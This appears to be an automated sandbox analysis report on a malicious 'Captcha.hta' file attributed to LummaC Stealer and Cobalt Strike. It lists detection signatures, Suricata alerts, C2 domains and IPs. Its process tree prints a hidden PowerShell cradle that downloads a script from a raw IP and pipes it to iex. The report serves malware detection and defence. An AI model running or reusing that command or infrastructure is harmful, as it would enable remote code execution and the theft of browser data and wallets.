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Windows
Analysis Report
Captcha.hta
Overview
General Information
Detection
Cobalt Strike, HTMLPhisher, LummaC Stealer
Score: | 100 |
Range: | 0 - 100 |
Whitelisted: | false |
Confidence: | 100% |
Signatures
Antivirus detection for URL or domain
Antivirus detection for dropped file
Detected Cobalt Strike Beacon
Found malware configuration
Malicious sample detected (through community Yara rule)
Multi AV Scanner detection for submitted file
Suricata IDS alerts for network traffic
Yara detected AntiVM3
Yara detected HtmlPhish44
Yara detected LummaC Stealer
Yara detected obfuscated html page
.NET source code contains very large strings
.NET source code references suspicious native API functions
AI detected suspicious sample
Bypasses PowerShell execution policy
C2 URLs / IPs found in malware configuration
Compiles code for process injection (via .Net compiler)
Injects a PE file into a foreign processes
Machine Learning detection for dropped file
Query firmware table information (likely to detect VMs)
Sample uses string decryption to hide its real strings
Sigma detected: Dot net compiler compiles file from suspicious location
Sigma detected: PowerShell Download and Execution Cradles
Sigma detected: Suspicious MSHTA Child Process
Suspicious execution chain found
Suspicious powershell command line found
Tries to harvest and steal browser information (history, passwords, etc)
Tries to steal Crypto Currency Wallets
Writes to foreign memory regions
AV process strings found (often used to terminate AV products)
Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)
Compiles C# or VB.Net code
Contains functionality for read data from the clipboard
Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)
Contains functionality to read the clipboard data
Contains functionality to record screenshots
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Creates files inside the system directory
Detected potential crypto function
Downloads executable code via HTTP
Drops PE files
Enables debug privileges
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Found dropped PE file which has not been started or loaded
Found inlined nop instructions (likely shell or obfuscated code)
Found potential string decryption / allocating functions
HTTP GET or POST without a user agent
IP address seen in connection with other malware
Internet Provider seen in connection with other malware
JA3 SSL client fingerprint seen in connection with other malware
May sleep (evasive loops) to hinder dynamic analysis
Queries disk information (often used to detect virtual machines)
Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)
Queries the volume information (name, serial number etc) of a device
Sample execution stops while process was sleeping (likely an evasion)
Searches for the Microsoft Outlook file path
Searches for user specific document files
Sigma detected: Change PowerShell Policies to an Insecure Level
Sigma detected: Dynamic .NET Compilation Via Csc.EXE
Sigma detected: PowerShell Web Download
Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP
Sigma detected: Usage Of Web Request Commands And Cmdlets
Suricata IDS alerts with low severity for network traffic
Uses Microsoft's Enhanced Cryptographic Provider
Uses a known web browser user agent for HTTP communication
Uses code obfuscation techniques (call, push, ret)
Yara signature match
Classification
- System is w10x64
- mshta.exe (PID: 7156 cmdline:
mshta.exe "C:\Users\ user\Deskt op\Captcha .hta" MD5: 06B02D5C097C7DB1F109749C45F3F505) - powershell.exe (PID: 3616 cmdline:
"C:\Window s\System32 \WindowsPo werShell\v 1.0\powers hell.exe" -NoProfile -Executio nPolicy By pass -Wind owStyle Hi dden -Comm and "iwr - useb http: //45.131.1 35.227/tbh y.ps1 | ie x" MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC) - conhost.exe (PID: 4548 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) - csc.exe (PID: 6632 cmdline:
"C:\Window s\Microsof t.NET\Fram ework\v4.0 .30319\csc .exe" /noc onfig /ful lpaths @"C :\Users\us er\AppData \Local\Tem p\2pzvj5lc \2pzvj5lc. cmdline" MD5: EB80BB1CA9B9C7F516FF69AFCFD75B7D) - csc.exe (PID: 6352 cmdline:
"C:\Window s\Microsof t.NET\Fram ework\v4.0 .30319\csc .exe" /noc onfig /ful lpaths @"C :\Users\us er\AppData \Local\Tem p\mvgjodmb \mvgjodmb. cmdline" MD5: EB80BB1CA9B9C7F516FF69AFCFD75B7D) - cvtres.exe (PID: 1104 cmdline:
C:\Windows \Microsoft .NET\Frame work\v4.0. 30319\cvtr es.exe /NO LOGO /READ ONLY /MACH INE:IX86 " /OUT:C:\Us ers\user\A ppData\Loc al\Temp\RE S3BAA.tmp" "c:\Users \user\AppD ata\Local\ Temp\mvgjo dmb\CSC1DC FE1A1CB594 C5687CEBA7 BEDB98DA4. TMP" MD5: 70D838A7DC5B359C3F938A71FAD77DB0) - RegAsm.exe (PID: 7184 cmdline:
"C:\\Windo ws\\Micros oft.NET\\F ramework\\ v4.0.30319 \\RegAsm.e xe" MD5: 0D5DF43AF2916F47D00C1573797C1A13)
- svchost.exe (PID: 1908 cmdline:
C:\Windows \System32\ svchost.ex e -k netsv cs -p -s B ITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)
- cleanup
{"C2 url": ["dare-curbys.biz", "zinc-sneark.biz", "dwell-exclaim.biz", "se-blurry.biz", "print-vexer.biz", "covery-mover.biz", "formy-spill.biz", "impend-differ.biz"], "Build id": "DUkgLv--otdel"}
Source | Rule | Description | Author | Strings |
---|---|---|---|---|
JoeSecurity_HtmlPhish_44 | Yara detected HtmlPhish_44 | Joe Security | ||
JoeSecurity_Obshtml | Yara detected obfuscated html page | Joe Security |
Source | Rule | Description | Author | Strings |
---|---|---|---|---|
JoeSecurity_LummaCStealer_3 | Yara detected LummaC Stealer | Joe Security | ||
JoeSecurity_LummaCStealer_2 | Yara detected LummaC Stealer | Joe Security |
Source | Rule | Description | Author | Strings |
---|---|---|---|---|
JoeSecurity_AntiVM_3 | Yara detected AntiVM_3 | Joe Security | ||
INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC | Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution | ditekSHen |
| |
JoeSecurity_LummaCStealer_2 | Yara detected LummaC Stealer | Joe Security |
System Summary |
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Source: | Author: Florian Roth (Nextron Systems): |
Source: | Author: Michael Haag: |
Source: | Author: frack113: |
Source: | Author: Florian Roth (Nextron Systems), X__Junior (Nextron Systems): |
Source: | Author: Florian Roth (Nextron Systems): |
Source: | Author: Nasreddine Bencherchali (Nextron Systems): |
Source: | Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: |
Source: | Author: frack113: |
Source: | Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): |
Source: | Author: vburov: |
Data Obfuscation |
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Source: | Author: Joe Security: |
Timestamp | SID | Severity | Classtype | Source IP | Source Port | Destination IP | Destination Port | Protocol |
---|---|---|---|---|---|---|---|---|
2024-12-12T07:52:13.534646+0100 | 2028371 | 3 | Unknown Traffic | 192.168.2.4 | 49737 | 172.67.206.64 | 443 | TCP |
2024-12-12T07:52:16.055149+0100 | 2028371 | 3 | Unknown Traffic | 192.168.2.4 | 49738 | 172.67.206.64 | 443 | TCP |
2024-12-12T07:52:18.227210+0100 | 2028371 | 3 | Unknown Traffic | 192.168.2.4 | 49739 | 172.67.206.64 | 443 | TCP |
2024-12-12T07:52:20.349759+0100 | 2028371 | 3 | Unknown Traffic | 192.168.2.4 | 49740 | 172.67.206.64 | 443 | TCP |
2024-12-12T07:52:22.415356+0100 | 2028371 | 3 | Unknown Traffic | 192.168.2.4 | 49742 | 172.67.206.64 | 443 | TCP |
2024-12-12T07:52:25.613617+0100 | 2028371 | 3 | Unknown Traffic | 192.168.2.4 | 49746 | 172.67.206.64 | 443 | TCP |
2024-12-12T07:52:28.579229+0100 | 2028371 | 3 | Unknown Traffic | 192.168.2.4 | 49748 | 172.67.206.64 | 443 | TCP |
2024-12-12T07:52:33.452236+0100 | 2028371 | 3 | Unknown Traffic | 192.168.2.4 | 49750 | 172.67.206.64 | 443 | TCP |
Timestamp | SID | Severity | Classtype | Source IP | Source Port | Destination IP | Destination Port | Protocol |
---|---|---|---|---|---|---|---|---|
2024-12-12T07:52:14.256631+0100 | 2054653 | 1 | A Network Trojan was detected | 192.168.2.4 | 49737 | 172.67.206.64 | 443 | TCP |
2024-12-12T07:52:16.781738+0100 | 2054653 | 1 | A Network Trojan was detected | 192.168.2.4 | 49738 | 172.67.206.64 | 443 | TCP |
2024-12-12T07:52:34.269240+0100 | 2054653 | 1 | A Network Trojan was detected | 192.168.2.4 | 49750 | 172.67.206.64 | 443 | TCP |
Timestamp | SID | Severity | Classtype | Source IP | Source Port | Destination IP | Destination Port | Protocol |
---|---|---|---|---|---|---|---|---|
2024-12-12T07:52:14.256631+0100 | 2049836 | 1 | A Network Trojan was detected | 192.168.2.4 | 49737 | 172.67.206.64 | 443 | TCP |
Timestamp | SID | Severity | Classtype | Source IP | Source Port | Destination IP | Destination Port | Protocol |
---|---|---|---|---|---|---|---|---|
2024-12-12T07:52:16.781738+0100 | 2049812 | 1 | A Network Trojan was detected | 192.168.2.4 | 49738 | 172.67.206.64 | 443 | TCP |
Timestamp | SID | Severity | Classtype | Source IP | Source Port | Destination IP | Destination Port | Protocol |
---|---|---|---|---|---|---|---|---|
2024-12-12T07:52:13.534646+0100 | 2057974 | 1 | Domain Observed Used for C2 Detected | 192.168.2.4 | 49737 | 172.67.206.64 | 443 | TCP |
2024-12-12T07:52:16.055149+0100 | 2057974 | 1 | Domain Observed Used for C2 Detected | 192.168.2.4 | 49738 | 172.67.206.64 | 443 | TCP |
2024-12-12T07:52:18.227210+0100 | 2057974 | 1 | Domain Observed Used for C2 Detected | 192.168.2.4 | 49739 | 172.67.206.64 | 443 | TCP |
2024-12-12T07:52:20.349759+0100 | 2057974 | 1 | Domain Observed Used for C2 Detected | 192.168.2.4 | 49740 | 172.67.206.64 | 443 | TCP |
2024-12-12T07:52:22.415356+0100 | 2057974 | 1 | Domain Observed Used for C2 Detected | 192.168.2.4 | 49742 | 172.67.206.64 | 443 | TCP |
2024-12-12T07:52:25.613617+0100 | 2057974 | 1 | Domain Observed Used for C2 Detected | 192.168.2.4 | 49746 | 172.67.206.64 | 443 | TCP |
2024-12-12T07:52:28.579229+0100 | 2057974 | 1 | Domain Observed Used for C2 Detected | 192.168.2.4 | 49748 | 172.67.206.64 | 443 | TCP |
2024-12-12T07:52:33.452236+0100 | 2057974 | 1 | Domain Observed Used for C2 Detected | 192.168.2.4 | 49750 | 172.67.206.64 | 443 | TCP |
Timestamp | SID | Severity | Classtype | Source IP | Source Port | Destination IP | Destination Port | Protocol |
---|---|---|---|---|---|---|---|---|
2024-12-12T07:52:07.811536+0100 | 2019714 | 2 | Potentially Bad Traffic | 192.168.2.4 | 49734 | 147.45.44.131 | 80 | TCP |
2024-12-12T07:52:08.708627+0100 | 2019714 | 2 | Potentially Bad Traffic | 192.168.2.4 | 49734 | 147.45.44.131 | 80 | TCP |
Timestamp | SID | Severity | Classtype | Source IP | Source Port | Destination IP | Destination Port | Protocol |
---|---|---|---|---|---|---|---|---|
2024-12-12T07:52:11.967953+0100 | 2057973 | 1 | Domain Observed Used for C2 Detected | 192.168.2.4 | 58954 | 1.1.1.1 | 53 | UDP |
Timestamp | SID | Severity | Classtype | Source IP | Source Port | Destination IP | Destination Port | Protocol |
---|---|---|---|---|---|---|---|---|
2024-12-12T07:52:11.432886+0100 | 2057979 | 1 | Domain Observed Used for C2 Detected | 192.168.2.4 | 58836 | 1.1.1.1 | 53 | UDP |
Timestamp | SID | Severity | Classtype | Source IP | Source Port | Destination IP | Destination Port | Protocol |
---|---|---|---|---|---|---|---|---|
2024-12-12T07:52:11.676415+0100 | 2057977 | 1 | Domain Observed Used for C2 Detected | 192.168.2.4 | 60620 | 1.1.1.1 | 53 | UDP |
Timestamp | SID | Severity | Classtype | Source IP | Source Port | Destination IP | Destination Port | Protocol |
---|---|---|---|---|---|---|---|---|
2024-12-12T07:52:11.188817+0100 | 2057983 | 1 | Domain Observed Used for C2 Detected | 192.168.2.4 | 65361 | 1.1.1.1 | 53 | UDP |
Timestamp | SID | Severity | Classtype | Source IP | Source Port | Destination IP | Destination Port | Protocol |
---|---|---|---|---|---|---|---|---|
2024-12-12T07:52:10.958689+0100 | 2057981 | 1 | Domain Observed Used for C2 Detected | 192.168.2.4 | 54123 | 1.1.1.1 | 53 | UDP |
Timestamp | SID | Severity | Classtype | Source IP | Source Port | Destination IP | Destination Port | Protocol |
---|---|---|---|---|---|---|---|---|
2024-12-12T07:52:19.083711+0100 | 2048094 | 1 | Malware Command and Control Activity Detected | 192.168.2.4 | 49739 | 172.67.206.64 | 443 | TCP |
Timestamp | SID | Severity | Classtype | Source IP | Source Port | Destination IP | Destination Port | Protocol |
---|---|---|---|---|---|---|---|---|
2024-12-12T07:52:28.593209+0100 | 2843864 | 1 | A Network Trojan was detected | 192.168.2.4 | 49748 | 172.67.206.64 | 443 | TCP |
Click to jump to signature section
Show All Signature Results
AV Detection |
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Source: | URL Reputation: | ||
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Source: | Malware Configuration Extractor: |
Source: | ReversingLabs: |
Source: | Integrated Neural Analysis Model: |
Source: | Joe Sandbox ML: |
Source: | String decryptor: | ||
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Source: | Code function: | 7_2_00416B7E |
Phishing |
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Source: | File source: |
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Source: | HTTPS traffic detected: | ||
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Source: | Binary string: | ||
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Source: | Binary string: |
Source: | File opened: | Jump to behavior | ||
Source: | File opened: | Jump to behavior | ||
Source: | File opened: | Jump to behavior | ||
Source: | File opened: | Jump to behavior | ||
Source: | File opened: | Jump to behavior | ||
Source: | File opened: | Jump to behavior |
Software Vulnerabilities |
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Source: | Child: |
Source: | Code function: | 7_2_0040A960 | |
Source: | Code function: | 7_2_00426170 | |
Source: | Code function: | 7_2_0040C36E | |
Source: | Code function: | 7_2_0043DBD0 | |
Source: | Code function: | 7_2_00409CC0 | |
Source: | Code function: | 7_2_0043DCF0 | |
Source: | Code function: | 7_2_0040CE55 | |
Source: | Code function: | 7_2_0042C6D7 | |
Source: | Code function: | 7_2_0042C6D7 | |
Source: | Code function: | 7_2_0042C6D7 | |
Source: | Code function: | 7_2_0042C6D7 | |
Source: | Code function: | 7_2_00417E82 | |
Source: | Code function: | 7_2_0043E690 | |
Source: | Code function: | 7_2_0042BFD3 | |
Source: | Code function: | 7_2_0042BFDA | |
Source: | Code function: | 7_2_0042A060 | |
Source: | Code function: | 7_2_00425F7D | |
Source: | Code function: | 7_2_0041D074 | |
Source: | Code function: | 7_2_0041D087 | |
Source: | Code function: | 7_2_0042D085 | |
Source: | Code function: | 7_2_0042D085 | |
Source: | Code function: | 7_2_0041597D | |
Source: | Code function: | 7_2_00416E97 | |
Source: | Code function: | 7_2_00416E97 | |
Source: | Code function: | 7_2_00405910 | |
Source: | Code function: | 7_2_00405910 | |
Source: | Code function: | 7_2_00425920 | |
Source: | Code function: | 7_2_004286F0 | |
Source: | Code function: | 7_2_00417190 | |
Source: | Code function: | 7_2_00422270 | |
Source: | Code function: | 7_2_0040C274 | |
Source: | Code function: | 7_2_00425230 | |
Source: | Code function: | 7_2_0043CAC0 | |
Source: | Code function: | 7_2_004292D0 | |
Source: | Code function: | 7_2_004292D0 | |
Source: | Code function: | 7_2_0042AAD0 | |
Source: | Code function: | 7_2_00415ADC | |
Source: | Code function: | 7_2_0042536C | |
Source: | Code function: | 7_2_00402B70 | |
Source: | Code function: | 7_2_00427307 | |
Source: | Code function: | 7_2_00436B20 | |
Source: | Code function: | 7_2_0043CBD6 | |
Source: | Code function: | 7_2_00407470 | |
Source: | Code function: | 7_2_00407470 | |
Source: | Code function: | 7_2_0042B475 | |
Source: | Code function: | 7_2_00419C10 | |
Source: | Code function: | 7_2_0043CCE0 | |
Source: | Code function: | 7_2_0042B4BB | |
Source: | Code function: | 7_2_0043CD60 | |
Source: | Code function: | 7_2_004345F0 | |
Source: | Code function: | 7_2_00427653 | |
Source: | Code function: | 7_2_0043CE00 | |
Source: | Code function: | 7_2_0042A630 | |
Source: | Code function: | 7_2_004296D8 | |
Source: | Code function: | 7_2_00415EE0 | |
Source: | Code function: | 7_2_00421EE0 | |
Source: | Code function: | 7_2_004266E7 | |
Source: | Code function: | 7_2_004286F0 | |
Source: | Code function: | 7_2_00416E97 | |
Source: | Code function: | 7_2_00416E97 | |
Source: | Code function: | 7_2_0041CEA5 | |
Source: | Code function: | 7_2_00428F5D | |
Source: | Code function: | 7_2_00425F7D | |
Source: | Code function: | 7_2_00414F08 | |
Source: | Code function: | 7_2_00414F08 | |
Source: | Code function: | 7_2_00420717 | |
Source: | Code function: | 7_2_00420717 | |
Source: | Code function: | 7_2_0043DFB0 |
Networking |
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Source: | HTTP traffic detected: |